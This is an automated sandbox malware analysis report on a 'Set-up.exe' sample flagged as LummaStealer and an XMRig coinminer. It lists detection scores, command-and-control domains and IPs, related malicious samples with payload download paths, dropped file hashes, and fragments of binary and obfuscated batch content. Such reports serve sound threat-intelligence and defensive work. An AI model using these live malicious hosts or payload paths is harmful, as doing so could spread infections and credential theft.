C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	79%	ReversingLabs	Win32.Coinminer.XMRig
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	92%	ReversingLabs	Win32.Trojan.LummaStealer

Source	Detection	Scanner	Label
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
goalyfeastz.site	172.67.145.203	true	true	unknown
servicedny.site	unknown	unknown	false	unknown
IPhwvmMSERoGGfvkQaPBYqP.IPhwvmMSERoGGfvkQaPBYqP	unknown	unknown	false	unknown
opposezmny.site	unknown	unknown	false	unknown
seallysl.site	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://goalyfeastz.site/api	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://joxi.net/4Ak49WQH0GE3Nr.mp3openSizeofResourcegfDASrtdstyfewrtydwyu3467YdesauydgewyuyVirtualPr	Installer.exe, 00000021.00000002.4017846079.0000000000E54000.00000002.00000001.01000000.0000000A.sdmp, Installer.exe, 00000021.00000000.3736123442.0000000000E54000.00000002.00000001.01000000.0000000A.sdmp, Installer.exe.31.dr	false		unknown
http://www.autoitscript.com/autoit3/J	Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Limitations.pif, 0000000B.00000000.2200334216.0000000000659000.00000002.00000001.01000000.00000006.sdmp, Amazing.0.dr, Limitations.pif.2.dr	false		unknown
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	false		unknown
http://crt.sectigo.com/SectigoRSACodeSigningCA2.crt0#	Installer.exe.31.dr	false		unknown
https://sectigo.com/CPS0	Installer.exe.31.dr, X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	false		unknown
http://ocsp.sectigo.com0	Installer.exe.31.dr, X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	false		unknown
http://usbtor.ru/viewtopic.php?t=798)Z	X0JA3EDV7BU5B3IH21ST0OE852AR.exe, 00000010.00000000.3684789428.0000000000423000.00000002.00000001.01000000.00000007.sdmp, X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	false		unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA2.crl0t	Installer.exe.31.dr	false		unknown
http://nsis.sf.net/NSIS_ErrorError	Set-up.exe	false	URL Reputation: safe	unknown
https://www.autoitscript.com/autoit3/	Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	false		unknown
http://joxi.net/4Ak49WQH0GE3Nr.mp3	Installer.exe, Installer.exe, 00000021.00000002.4017846079.0000000000E54000.00000002.00000001.01000000.0000000A.sdmp, Installer.exe, 00000021.00000000.3736123442.0000000000E54000.00000002.00000001.01000000.0000000A.sdmp, Installer.exe.31.dr	false		unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.145.203	goalyfeastz.site	United States		13335	CLOUDFLARENETUS	true
147.45.47.81	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545453
Start date and time:	2024-10-30 15:41:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Set-up.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@58/45@5/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 160 Number of non-executed functions: 261
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Set-up.exe

Simulations

Behavior and APIs

Time	Type	Description
10:42:57	API Interceptor	3883x Sleep call for process: Limitations.pif modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.145.203	GA4vpVYBVP.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.siasstudios.com/ca63/?RBZh=f0UPKc225NVGsPdWmecsq2bM5j9nL+lbfv0YTlQZMWdhweKjMNfN3RObBk6VEhEywBPiUoxHfA==&Sdl=tl0DiN8Ph
147.45.47.81	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	147.45.47.81/conhost.exe
	BlazeHack.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse	147.45.47.81/WinRing0x64.sys
	CKHSihDX4S.exe	Get hash	malicious	RedLine, Xmrig	Browse	147.45.47.81/WinRing0x64.sys
	XXZahG4d9Z.exe	Get hash	malicious	RedLine, Xmrig	Browse	147.45.47.81/WinRing0x64.sys
	n6o0pd9pZC.exe	Get hash	malicious	Xmrig	Browse	147.45.47.81/WinRing0x64.sys
	lfjG1UlwP1.exe	Get hash	malicious	LummaC, Xmrig	Browse	147.45.47.81/xmrig.exe
	SecuriteInfo.com.Trojan.InjectNET.17.32646.13700.exe	Get hash	malicious	LummaC, Xmrig	Browse	147.45.47.81/xmrig.exe
	installer.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig, zgRAT	Browse	147.45.47.81/WinRing0x64.sys
	conhost.exe	Get hash	malicious	Xmrig	Browse	147.45.47.81/xmrig.exe
	Software1.30.1.exe	Get hash	malicious	RedLine, Xmrig	Browse	147.45.47.81/WinRing0x64.sys

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	193.233.45.230
	2QPrBtk3J8.exe	Get hash	malicious	Unknown	Browse	147.45.48.137
	v9dVG4fAGa.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.48.137
	LkCinYWgNh.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.48.137
	v9dVG4fAGa.exe	Get hash	malicious	Clipboard Hijacker	Browse	147.45.48.137
	LkCinYWgNh.exe	Get hash	malicious	Clipboard Hijacker	Browse	147.45.48.137
	2QPrBtk3J8.exe	Get hash	malicious	Clipboard Hijacker	Browse	147.45.48.137
	x86.elf	Get hash	malicious	Mirai	Browse	193.233.193.45
	x86.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	arm5.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
CLOUDFLARENETUS	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	162.247.243.29
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.53.206
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.142.84
	rCommercialoffer_Technicaloffer_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	https://1rkzzyapew.beefreedesign.com/EfTl-assets-eurmktdynamics	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://onedrivefileaccess.uwu.ai/	Get hash	malicious	Unknown	Browse	172.64.154.239
	https://cruparcellaire-my.sharepoint.com/:u:/g/personal/dani_grandrcu_com/EffQlMxf6g9Hiljl1DzmuTcB4-lo0t9ejs2hIBwCnQfe1g?e=TtenDj	Get hash	malicious	Unknown	Browse	104.17.24.14
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.145.203
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.145.203
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.145.203
	file.exe	Get hash	malicious	LummaC	Browse	172.67.145.203
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.145.203
	nG1F5SUnsm.exe	Get hash	malicious	LummaC	Browse	172.67.145.203
	byamPER0Gx.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, Mofksys	Browse	172.67.145.203
	4RNoaB1aYY.exe	Get hash	malicious	LummaC	Browse	172.67.145.203
	3B9m4uNqHe.exe	Get hash	malicious	LummaC	Browse	172.67.145.203

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse
	DA92phBHUS.exe	Get hash	malicious	XWorm	Browse
	Okfjk1hs4kdhs2.exe	Get hash	malicious	LummaC	Browse
	1XZFfxyWZA.exe	Get hash	malicious	RedLine	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	ZnPyVAOUBc.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	1WDpq6mvnr.exe	Get hash	malicious	Unknown	Browse
	1WDpq6mvnr.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: burlar al diablo napoleon hill pdf.exe, Detection: malicious, Browse Filename: burlar al diablo napoleon hill pdf.exe, Detection: malicious, Browse Filename: DA92phBHUS.exe, Detection: malicious, Browse Filename: Okfjk1hs4kdhs2.exe, Detection: malicious, Browse Filename: 1XZFfxyWZA.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ZnPyVAOUBc.exe, Detection: malicious, Browse Filename: 1WDpq6mvnr.exe, Detection: malicious, Browse Filename: 1WDpq6mvnr.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\506033\W

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	527849
Entropy (8bit):	7.99963669575995
Encrypted:	true
SSDEEP:	12288:J29Twvpeg9ZHdHBRWPtI2bw61ZEu30UU9Zy299hqZcTG:J29EvxnH6PG2bw6f36w6hx6
MD5:	BF81D90A17A275A5E00BDA68B828D679
SHA1:	091335A746471E483549D6BCF9E219701BA3D432
SHA-256:	F53CB183C75EE4337CBDB5D838085432F44D64F992894E09219799573FF3D745
SHA-512:	79CC1B0919BE92997AA8727B7437C71F6DD7FE4419584CA1301F421985460D7436D818A0EA001C2A3DF8852D33C958A3B66BC786AA1FFC23B9C417AFE44F079F
Malicious:	true
Preview:	tc....).N~=..KD...I...=...YZ.G..g.7E.. .c..g..]...gJ...5...y...c'...#>.KG".....v..]/r.._h..w................O..Y........a\..^&E5Rp#.D..V.Rlbs..2\|.......gO.......}..;.j..wH4.i.H+.M...R.(.`;Wv..vv.!.A....Y..y.o.y._.M.v%c^..Bx...w..'.hO..7..[cy...^.(.L.B.fo.,.G.....m...i}k...b.z.+.N.t+A..!..Br1b.....M..l.:.H.&...v..;c..(..]:...E.q...........Z2V....W.%....dN..@.>..&..H.........c..l.......P.L .7...K.`......Ie.d.%...............b..n...y...X..i...c.....h... .nHHbM...k.P.....m...(...^P...U.x.....<''....c.\..#.x.-.....T..r5..h......gD.y.G~{.N8%du..QI..-..FR...Gq....rd.....$..;..p.g...9..2.S..`.{..l?...Q..N...\=..r.#y1.BI^{GV\|hB.E.'..3..d.pRzS#...`#.;.r...;=..5....>...M....Xs......br.K...'...E<....!~...}.#..:.<nFd..,.;X\......#.t..g#..t.....G......B%[..F.......8.t..yM=g}.....\.wJ...o..X\[..0..u...4e....G3.cH.>..O...F ..p....s.H...].+-..$...U.y.%...N.t#LT..4.....(.u#.4?..L..3.+MR8...k....Sd.....r.....'8.!.{.rI.(&..D..}j.C...(.KJ\D...2T.KFJ

C:\Users\user\AppData\Local\Temp\Amazing

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	885821
Entropy (8bit):	6.622029789858432
Encrypted:	false
SSDEEP:	12288:tV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:fxz1JMyyzlohMf1tN70aw8501
MD5:	96DA1913A864681EE711C548E2E2238F
SHA1:	FF4F32B8A31D44E11B91F45C3B6335E9F6B99190
SHA-256:	00431A18F3A424C5251AEF684F6F79B6F3ADC51CD79A4A59FD3B1AA17E4E6B0A
SHA-512:	D899337045A2CE5233E029FFFD28C0D281C1EF33B5CE4EEFC05437C34C75AF27CB171ED326C4565FE77FE58E18CCD8A2C9538BD915C7FFAEBC6D637687885BEC
Malicious:	false
Preview:	..wL....wL....wL....wL.....j.^j\|Xf..wL.3....xL.h.I....xL....xL....xL..=.xL... xL.l.I...$xL...(xL...,xL..50xL...4xL.......8xL...<xL...@xL..=DxL..=HxL...\|xL....xL....xL..=.xL.f..wL..2.......~....]..E.. xL.P....Nu._^..wL.[..].V......\|xL.....c....%.xL....8xL.....b....%@xL... xL........xL........wL........wL.....D...^.U...(SVWh.....*...Y....A......^........xL..}..M.9..wL........E...P..xL.......}....xL..].....8..xL.......p....u.........................................E @....#E .E..@......E..E .E..E..}..............}...........u-j..E.Pj.j0..@.I.j...X.I..M.+M..M.+...+....E..} .uFj..E.Pj.j0..@.I.j...X.I..M.+M..M.+...+....E ....@.t.j...X.I.j..Y...E .u..E..u.j.j.P....I..u..E.j.SP....I..E.+E.j..5.xL.j..u$P.E.+E.P.u .u.S.u.h..I..u... .I..........Vj.P....I..E$.G..E..G<.E .G@.E.P.7..4.I..E.+E.GD.E.+E.j.j..GH....I.Pj0.7....I.j.W..wL..\....=.wL..u.h..@.j(j.j.....I...wL....wL...wL.j..5.xL..G................_^[..]. .3........."......'....M..P....M..R...U..}..W..wL.........xL....t{..xL.3.V..

C:\Users\user\AppData\Local\Temp\Based

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	66025
Entropy (8bit):	7.997413718649764
Encrypted:	true
SSDEEP:	1536:2ZSlBOQDDdShfhpZBIlExk1tLCaW7FvMGLE1Mgv:28/xShfuEG1ZVW7FTG
MD5:	1F976113C41E03AE0F860FE5F27741BB
SHA1:	2C01491AD17939388F84C1E3491D95D68B327D88
SHA-256:	A36617F6C29798F12CB2812E5B008F8DAC3F7573845F6DB4ABB470181D0BCD88
SHA-512:	F8DDBAEB6F939A02940B167F0FFB2CC6370C97326C4437626A91050FFA4944DF4964674EB6A7D073564E9CD7E08705C8750924A5C68FE2365371E8C607F1BCB1
Malicious:	true
Preview:	..$..u..?....X~.........,..1..V....o.s.^4D.(...>.I....[t..+.g8C.y$m`3.YX......[.J._..b...g..~...}...L.M".BF.<.........D.......'...m{.p.;.X.^..t....E.^..<.a....hw.."......-..k.[..k7 (.....N.=.=.T..F...)..._9...Jt.0. .S....r.?8.I..z.....AS..T>...L..~...7._zQu.cW.b. ....q.::.^..Ev..k.,...E........1..K..J..D..e..U.......3?C.j" !..t..X......_...C...E....1\.<.B_..\#.?...@.o.._.....O....FFR..&"..0R..../t.-........Y..P....(......I..K.b._<..@.c~..u..8.j....?.m.wy\..7.H.....'..n':..Ne..T...p5...2..~..:.................C.o...Q....G....r..G!=0...l..KAV...)P....d. ...r..7...R1..d.WX..U.JX`.^...S~.V...t..^j.yE<.{.8x...g./\|..@2.wi........... ..Q.'...M.AJ.[..l....Ss....'q.....`L.l..-.DyVr...""`....n.....)ui!....[-.......`..EWD=jAO..EB..g...`...%..b.a.....x.......#..^......-}MX...i.\|k8q.T...\.8....."..<d..q.['...F.g.1ECH.zp.W..0Ym.....V...Hb.[.&...}...bn..@z..{.J.....N.P.P...y.......<.h.. b.2M..i.n...WD..vH.....og>."......P...Dh..j.......{.....

C:\Users\user\AppData\Local\Temp\Count

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	7818
Entropy (8bit):	6.237595357516947
Encrypted:	false
SSDEEP:	192:QHAeOqAFDw09CV/2nPvj6DdMP3r1HI5jMlbN+G3yf:QHAHhww+/2nlP3r1WAL3yf
MD5:	A859DCB8851A492727B3974B59E9A31F
SHA1:	EF01C303D5FA1DB3E271AEA415DBE9A6D987E1C4
SHA-256:	282577ED97418A10EF4FF63FC9A6883510F6BA83E71EBFFCBBE8EAF5D6508F50
SHA-512:	207F4564AA0A52AEA8D3097E950523599A3C64AF74E4C117CA3B754E90E36A770171A34EC815E4788230A5B7AE961CDE8962C280ED5360275432DA97447087FF
Malicious:	false
Preview:	RubberBrilliantPoliceOperator..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B.................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Crest

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	ASCII text, with very long lines (432), with CRLF line terminators
Category:	dropped
Size (bytes):	11910
Entropy (8bit):	5.160499835608725
Encrypted:	false
SSDEEP:	192:d/+FOk7Wflp+LOD89LUGh9ywTaukHrxXuSeQCq/TPQ0ykX6y6PAqsUtrzPjxCfWX:N7k7WtFDwLPXywTaTLx+LUr3nKPjE+X
MD5:	B4448F5BA35506A1F0EF3FC9B448CF76
SHA1:	E07E849A7D2636892C45A7C8BED8D01CE4A3ECC2
SHA-256:	BE0A3CD609196ACE836A2FF5982549FAA8F7E8F58DF7963A533C12AE79EED7C3
SHA-512:	A1C24BBA6D87AC72976778DF8A643BF7E00366D8B71C1D64AADAA647E67F89809A1556BE940370AC5EB73D8F83818E895C099BC98CCA88C738C0367D244EC50B
Malicious:	false
Preview:	Set Pushing=1..EzLMDemonstrated-Submitting-Diy-Nottingham-Assets-..PYBars-Mu-Rapid-Philip-Coal-Suffer-Determined-Norm-..gHXDealtime-Typically-Guide-Forest-Kde-Bug-Searching-..PmBRestructuring-Pencil-Way-Metallica-Grenada-Record-Indians-Brochure-..kMuGFlorence-Metal-Why-..byAnFault-Cop-Programmer-Local-Po-Comedy-..Set Shown=i..MnRio-Points-Lamps-..ooProof-Pioneer-..pdwFs-Roughly-Tvs-..cZBpGeneral-Rice-Texts-Milwaukee-Confirmed-Kits-Lane-Cloud-Hopkins-..RtuGVpn-Discounts-..Set Venture=j..xLWindows-Transit-..eGRwDeer-Linked-Mf-Foods-Bennett-Single-Total-Towers-..uhhDSixth-..uvtStock-Air-Verbal-Pathology-Sol-Apart-..YBoQHire-Terrorists-Strain-Enhance-..vAcNRegional-Trans-Cb-Investor-Nextel-Walked-..CWRequirement-Hardly-..kDLouisville-Applies-Bs-Valued-Gg-Productive-Employment-Through-Specials-..Set Lows= ..NEmbFalling-Ideal-Motorola-Spend-..bPaMotorcycle-Portsmouth-Humanities-Combination-Copying-Traffic-..cvDeaths-Stories-Postage-Io-Breeding-..dtLan-..vUtpJason-Entries-Genre-Actions-Travel

C:\Users\user\AppData\Local\Temp\Crest.bat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (432), with CRLF line terminators
Category:	dropped
Size (bytes):	11910
Entropy (8bit):	5.160499835608725
Encrypted:	false
SSDEEP:	192:d/+FOk7Wflp+LOD89LUGh9ywTaukHrxXuSeQCq/TPQ0ykX6y6PAqsUtrzPjxCfWX:N7k7WtFDwLPXywTaTLx+LUr3nKPjE+X
MD5:	B4448F5BA35506A1F0EF3FC9B448CF76
SHA1:	E07E849A7D2636892C45A7C8BED8D01CE4A3ECC2
SHA-256:	BE0A3CD609196ACE836A2FF5982549FAA8F7E8F58DF7963A533C12AE79EED7C3
SHA-512:	A1C24BBA6D87AC72976778DF8A643BF7E00366D8B71C1D64AADAA647E67F89809A1556BE940370AC5EB73D8F83818E895C099BC98CCA88C738C0367D244EC50B
Malicious:	false
Preview:	Set Pushing=1..EzLMDemonstrated-Submitting-Diy-Nottingham-Assets-..PYBars-Mu-Rapid-Philip-Coal-Suffer-Determined-Norm-..gHXDealtime-Typically-Guide-Forest-Kde-Bug-Searching-..PmBRestructuring-Pencil-Way-Metallica-Grenada-Record-Indians-Brochure-..kMuGFlorence-Metal-Why-..byAnFault-Cop-Programmer-Local-Po-Comedy-..Set Shown=i..MnRio-Points-Lamps-..ooProof-Pioneer-..pdwFs-Roughly-Tvs-..cZBpGeneral-Rice-Texts-Milwaukee-Confirmed-Kits-Lane-Cloud-Hopkins-..RtuGVpn-Discounts-..Set Venture=j..xLWindows-Transit-..eGRwDeer-Linked-Mf-Foods-Bennett-Single-Total-Towers-..uhhDSixth-..uvtStock-Air-Verbal-Pathology-Sol-Apart-..YBoQHire-Terrorists-Strain-Enhance-..vAcNRegional-Trans-Cb-Investor-Nextel-Walked-..CWRequirement-Hardly-..kDLouisville-Applies-Bs-Valued-Gg-Productive-Employment-Through-Specials-..Set Lows= ..NEmbFalling-Ideal-Motorola-Spend-..bPaMotorcycle-Portsmouth-Humanities-Combination-Copying-Traffic-..cvDeaths-Stories-Postage-Io-Breeding-..dtLan-..vUtpJason-Entries-Genre-Actions-Travel

C:\Users\user\AppData\Local\Temp\Current

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	7.997730500056973
Encrypted:	true
SSDEEP:	1536:F7Z8MYJJghqD1LQ2aEJ4HHLIp/VqEFo+8ZBS653KK8E:F7PYucLZWqqEFhs0YWE
MD5:	D1C282A44CBF9D09062B8ED3D659EF00
SHA1:	E3C996E17FD49277E10496B89D2A7CCB5B647CE7
SHA-256:	EF626117B4F5882063F7884FBBD8411E3F11382270EF3C5FF189366B0B65F844
SHA-512:	FC63BD3A0FCA0934602978689D601808F6AE3FAE045D22EC13A72FEC9BE0CB90D7D5A01C4CE780527D323CED65FBAB75C6CC62DF0110B6C602BB04AE793A46B5
Malicious:	true
Preview:	...h..T..]..W...A..U..N.[K..]..xT.......e....J%a".P...n.FC.#.'...uf.8.h...c..l.........L:3....}...E......7%`.].....u..]8+.'<..^.<..B..@.~.:.t....S...=S.J...S..Z.....H%.05l<.......91!,.......D..z.!R.t.J".(........4..hh.Z.`.6[;."+}}74..i./9+.xS..k.9..f..^x....J...../..Tp.#...K....;...:.:7e....[<q..xFNLyx..E}g.`..Xfv.[..._.!...].[u0b{..e3..F.N.gV..`..U..T.~..b..W0\..O..\|C._..O./6........:..1..!.'...]..&.t. }.I[\E.l.b...=..a...>..c%..6....T.>.......1...k8......M.L..e~..j.%9..'.t..2.%..k...e.Wg.j..h.....%X........G]d.S...UG......0......[....%.c..J....v..%Z=;L.1.mw.t..?..OlQO9[.....}.1......}...SU .e...fg.X.v..L...4..].g..-c&/.K....R\|........]......;..G..RY.J...?.M...VI...1..r..w.)H..car...g...Q.3G..l{..m`.s....c......u....m...?.N.4.e. ..+..u...%..&)Z..........\|...QR.2.,g&.......1.%.5.#.\x...N.1/;!..~...Z.....sy....H.M............"o........z. .Ke.~..l.K...+T....4;1..K...."........{....'.q...&./.u.v..D..5.U%.....r..............(2Ja.%..L2....H..

C:\Users\user\AppData\Local\Temp\Endless

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	7.998024184617885
Encrypted:	true
SSDEEP:	1536:RhaqCLBFpeRyoT+Q8r5M1KdAzIDX+NcW8nMiJtjaz30IDp9kkoi7:R03L8yoTR8rS1CAz6W8MiJtu30Ud
MD5:	9E3F6562BE5559589F8D63C49D6403D7
SHA1:	C01F888923FB7B64F7C2D1882840CB56D8FFA400
SHA-256:	B8095DECD6493C0D875D41E44672AAC66584313754E76635EA5326CB79F5D32F
SHA-512:	001DE81B2737CE8283DA0651EAE69A12FCE2F9E470080450F42BC886582F8065F10768626888CCD478886CC975E3743C6321904D01F96899CDC675366DF5EE22
Malicious:	true
Preview:	.\xN.!.$#.6U....N...2=O]<..e`..s7...,o...cb....hv....%oy....O..f..n.g$Tp.4)K..5........yASF...f,...=DF........6.x=..{E.k...l.......T..r..:.z.}...n...;.u.^@3j.J\|."..J"w1..qM.l].......\cX...c`...y..1..C.8r.v.Z.b..F1}...@3.j.-.T..3.VQ...X.u.#5`&.!...'.`.......Z.....`j.&.F..Q@Z.V.u^og...>.B\|../.e.t\|..y......D..Q....gSt..a,....&..j+../...QN.>...t..K].8.]..<...~h.\..........QU...Fu...Q.....x..AS..!>...).]...x.NC.t.<..u..G..+...:",.Q..Wav.t7.........$ ..$o[sV....1$.e...F.Ak.a&.F.V.<..&=E.>..I......a"..r1B].W.'!}...2......K...~...."....Z.7...i..Q<o......if.a7V......q\|./.km..[.....^.....(.d.m..k7.{..............<...NZ6Y...Of.K.Z..UN.kf.~."7-.L~....+....w..K..;...=!Fc.!....o.d...Z..(.)'.........k,...!.y.............@.WB.`...o.s.i...Q.'.E...^..H)O]\|.D.{=..fF........o..\|. ..q.7..y./....2.9.M..l.....KROGsU. ].....=4..}.......1t.Ka.g.}ey.......W....)d...C~W.:..).ex..}^..8..9.A+..F.6...\|..[..]..w..r..HHwf.J1...j....aI]........D..>..)..

C:\Users\user\AppData\Local\Temp\Labeled

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	7.997883858377553
Encrypted:	true
SSDEEP:	1536:TyD/eIdXgZ5vMGMopB/48uRN7YibuOSJ/bbkqe3CRIrjkRAuDWpwnWovP:O//wLvMGdpBrAJYib8J/bH5IHkxyploH
